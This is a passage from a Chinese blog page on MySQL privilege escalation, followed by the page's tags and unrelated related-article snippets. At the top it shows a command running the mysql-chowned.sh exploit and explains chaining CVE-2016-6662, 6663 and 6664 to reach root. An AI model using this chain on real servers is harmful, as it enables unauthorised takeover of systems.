./mysql-chowned.sh /var/log/mysql/error.log

注意:必须以mysql权限执行mysql-chowned.sh才能成功提为root,所以,该漏洞常常需要配合CVE-2016-6663。可以先利用CVE-2016-6663漏洞获取mysql权限的shell然后再执行mysql-chowned.sh。

CVE-2016-6662、CVE-2016-6663、CVE-2016-6664这几个漏洞常常是配合起来利用的。

Ending......

原文

标签:www,MySql,写入,提权,file,mysql,MySQL,权限
From: https://www.cnblogs.com/o-O-oO/p/18360717

相关文章

  • docker 安装 mysql
    docker安装MySQL命令软件的共享目录统一在 /mydata 目录下安装mysql5.7版本 #docker拉取镜像命令dockerpullmysql:5.7#宿主机新建目录mkdir-p/mydata/mysql/conf/#启动一个临时的mysql容器dockerrun-p3306:3306--namemysql-eMYSQL_ROOT_PASSWORD=root......
  • 基于SpringBoot+MySQL+SSM+Vue.js的药房药品采购系统(附论文)
    获取见最下方名片获取见最下方名片获取见最下方名片演示视频技术描述开发工具:Idea/Eclipse数据库:MySQLJar包仓库:Maven前端框架:Vue/ElementUI后端框架:Spring+SpringMVC+Mybatis+SpringBoot文字描述基于SpringBoot+MySQL+SSM+Vue.js的药房药品采购系统(附论文......
  • 基于SpringBoot+MySQL+SSM+Vue.js的旅游咨询系统
    获取见最下方名片获取见最下方名片获取见最下方名片演示视频技术描述开发工具:Idea/Eclipse数据库:MySQLJar包仓库:Maven前端框架:Vue/ElementUI后端框架:Spring+SpringMVC+Mybatis+SpringBoot文字描述基于SpringBoot+MySQL+SSM+Vue.js的旅游咨询系统,用户,管理......
  • MySQL(DQL)
    一,SQL语言分类(1)数据查询语言(DQL:DataQueryLanguage)其语句,也称为“数据检索语句”,用以从表中获得数据,确定数据怎样在应用程序给出。关键字SELECT是DQL(也是所有SQL)用得最多的动词。SELECTFROMWHEREORDERBYHAVING (2)数据操作语言(DML:DataManipulationLanguage)其语......
  • 如何解决MySQL主从复制延时问题
    MySQL主从复制是面试中不可避开的重要一环,里面的知识点虽然基础,但是能回答全的同学不多,今天我们再来老生常谈一下。本文全文内容如下。  1.MySQL主从1.1什么是MySQL主从?MySQL主从复制是指数据可以从一个MySQL数据库服务器主节点复制到一个或多个从节点。MySQL......
  • java语言,MySQL数据库;电影推荐网站 30760(免费领源码)计算机毕业设计项目推荐万套实战教
    摘 要随着互联网时代的到来,同时计算机网络技术高速发展,网络管理运用也变得越来越广泛。因此,建立一个B/S结构的电影推荐网站;电影推荐网站的管理工作系统化、规范化,也会提高平台形象,提高管理效率。本电影推荐网站是针对目前电影推荐网站的实际需求,从实际工作出发,对过去的电影......
  • java语言,MySQL数据库;基于Web的高校知识共享系统设计与实现 32050(免费领源码)计算机毕业
    摘 要信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对高校知识共享系统等问题,对高校知识共享系统进行研究分析,然后开发设计出高校知识共享系统以......
  • java语言,MySQL数据库;23825基于java的员工考勤系统(免费领源码)计算机毕业设计项目推荐万
    摘 要由于数据库和数据仓库技术的快速发展,员工考勤系统建设越来越向模块化、智能化、自我服务和管理科学化的方向发展。考勤管理系统对处理对象和服务对象,自身的系统结构,处理能力,都将适应技术发展的要求发生重大的变化。员工考勤系统除了具有共享系统的全部功能以外,能通过......
  • MySQL6 嵌套查询、子查询、自关联查询、SQL函数
    嵌套查询(子查询)基本概念:一个查询语句(外部查询)中包含了另一个查询语句(子查询)select列名1,列名2....from表1,表2where条件条件表达式(子查询语句)子查询被当作一个单元来执行,它先于外部查询执行,其结果可以被外部查询使用。子查询的结果通常被看作是一个临时表,外......
  • 成为MySQL DBA后,再看ORACLE数据库(十四、统计信息与执行计划)
    一、前言一条SQL到达数据库内核之后,会解析为一条逻辑执行计划,CBO优化器对逻辑计划进行改写和转换,生成多个物理执行计划。为SQL构造出搜索空间,根据数据的统计信息、基数估计、算子代价模型为搜索空间中的执行计划估算出执行所需要的代价(CPU、内存、网络、I/O等资源消耗),最终选出代......